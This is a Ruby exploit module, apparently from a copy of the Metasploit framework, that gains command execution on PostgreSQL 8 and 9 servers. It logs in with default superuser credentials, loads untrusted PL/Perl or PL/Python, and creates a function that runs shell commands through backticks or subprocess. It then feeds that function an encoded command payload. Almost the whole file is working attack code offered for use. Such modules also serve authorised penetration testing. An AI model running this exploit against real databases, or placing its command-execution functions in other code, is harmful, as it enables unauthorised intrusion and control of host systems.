Files
metasploit-gs/modules/exploits/multi/postgres/postgres_createlang.rb
T

278 lines
7.7 KiB
Ruby
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/postgres'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
'Description' => %q{
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
To execute system commands, loading the "untrusted" version of the language is necessary.
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
and has been tested on OS X, Windows, and Linux.
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
Only Postgres 8 and up are supported.
},
'Author' => [
'Micheal Cottingham', # author of this module
'midnitesnake', # the postgres_payload module that this is based on
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
],
'Platform' => %w{linux unix win osx},
'Payload' => {
'PayloadType' => %w{cmd}
},
'Arch' => [ARCH_CMD],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'January 1 2016'
))
register_options([
OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
], self.class)
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def check
version = postgres_fingerprint
if version[:auth]
version_match = version[:auth].match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
major_version = version_match['major_version']
if major_version.to_i >= 8
return CheckCode::Appears
else
print_error 'Unsupported version'
return CheckCode::Safe
end
else
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
return CheckCode::Safe
end
end
def exploit
version = do_login(username, password, database)
case version
when :noauth; print_error 'Authentication failed.'; return
when :noconn; print_error 'Connection failed.'; return
else
print_status "#{rhost}:#{rport} - #{version}"
end
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
major_version = version_match['major_version']
extension = 'LANGUAGE'
if major_version.to_i == 8
print_status 'Selecting version 8 payload'
extension = 'LANGUAGE'
elsif major_version.to_i >= 9
print_status 'Selecting version 9 payload'
extension = 'EXTENSION'
else
print_error 'Unsupported version - exploit failed'
return false
end
print_warning 'This exploit does not clean up after itself - you will need to do that manually'
# Attack!
begin
func_name = Rex::Text.rand_text_alpha(10)
languages = %w{perl python python2 python3}
loaded = false
iter = 0
languages.each do |language|
load_lang = create_language(language, extension)
human_language = language.capitalize.to_s
print_status "Attempting to load #{human_language}"
case load_lang
when 'exists'
print_good "#{human_language} is already loaded, continuing"
create_function(language, func_name)
loaded = true
when 'loaded'
print_good "#{human_language} was successfully loaded, continuing"
create_function(language, func_name)
loaded = true
when 'not_exists'
print_status "#{human_language} could not be loaded"
else
print_error 'No exploit path found'
return false
end
break if loaded
end
if loaded
# Known bug: When using the cmd/unix/python*, ruby*, or bash payloads, it'll say
# "NoMethodError undefined method `+' for nil:NilClass"
# But the exploit and payload work just fine. I'm open to suggestions on why and how to fix - @micheal
select_query = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')")
case select_query.keys[0]
when :conn_error
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
when :sql_error
print_error "Exploit failed"
return false
when :complete
print_good 'Starting payload'
end
else
return false
end
rescue RuntimeError => e
print_error "Failed to create UDF: #{e.class}: #{e}"
end
postgres_logout if @postgres_conn
end
def create_function(language, func_name)
load_func = ''
case language
when 'perl'
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$" +
"`$_[0]`;" +
"$$ LANGUAGE pl#{language}u")
# Ruby doesn't do case folding ... :/
when 'python'
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" +
"import subprocess, shlex\r" +
"subprocess.check_output(shlex.split(c))\r" +
"$$ LANGUAGE pl#{language}u")
when 'python2'
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" +
"import subprocess, shlex\r" +
"subprocess.check_output(shlex.split(c))\r" +
"$$ LANGUAGE pl#{language}u")
when 'python3'
load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" +
"import subprocess, shlex\r" +
"subprocess.check_output(shlex.split(c))\r" +
"$$ LANGUAGE pl#{language}u")
else
print_error 'Invalid language'
end
case load_func.keys[0]
when :conn_error
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
when :sql_error
print_error "#{rhost}:#{rport} Exploit failed"
return false
when :complete
print_good 'Loaded UDF'
end
end
def create_language(language, extension)
load_language = postgres_query("CREATE #{extension} pl#{language}u")
if load_language.keys[0] == :sql_error
match_exists = load_language[:sql_error].match(/language "pl#{language}u" already exists/m)
if match_exists
return 'exists'
else
match_error = load_language[:sql_error].match(/(could not access file|unsupported language)/m)
if match_error
return 'not_exists'
end
end
else
return 'loaded'
end
end
# Authenticate to the postgres server.
# Returns the version from #postgres_fingerprint
def do_login(user=nil, pass=nil, database=nil)
begin
password = pass || postgres_password
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
report_service(
:host => rhost,
:port => rport,
:name => "postgres",
:info => result.values.first
)
return result[:auth]
else
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
return :noauth
end
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
return :noconn
end
end
end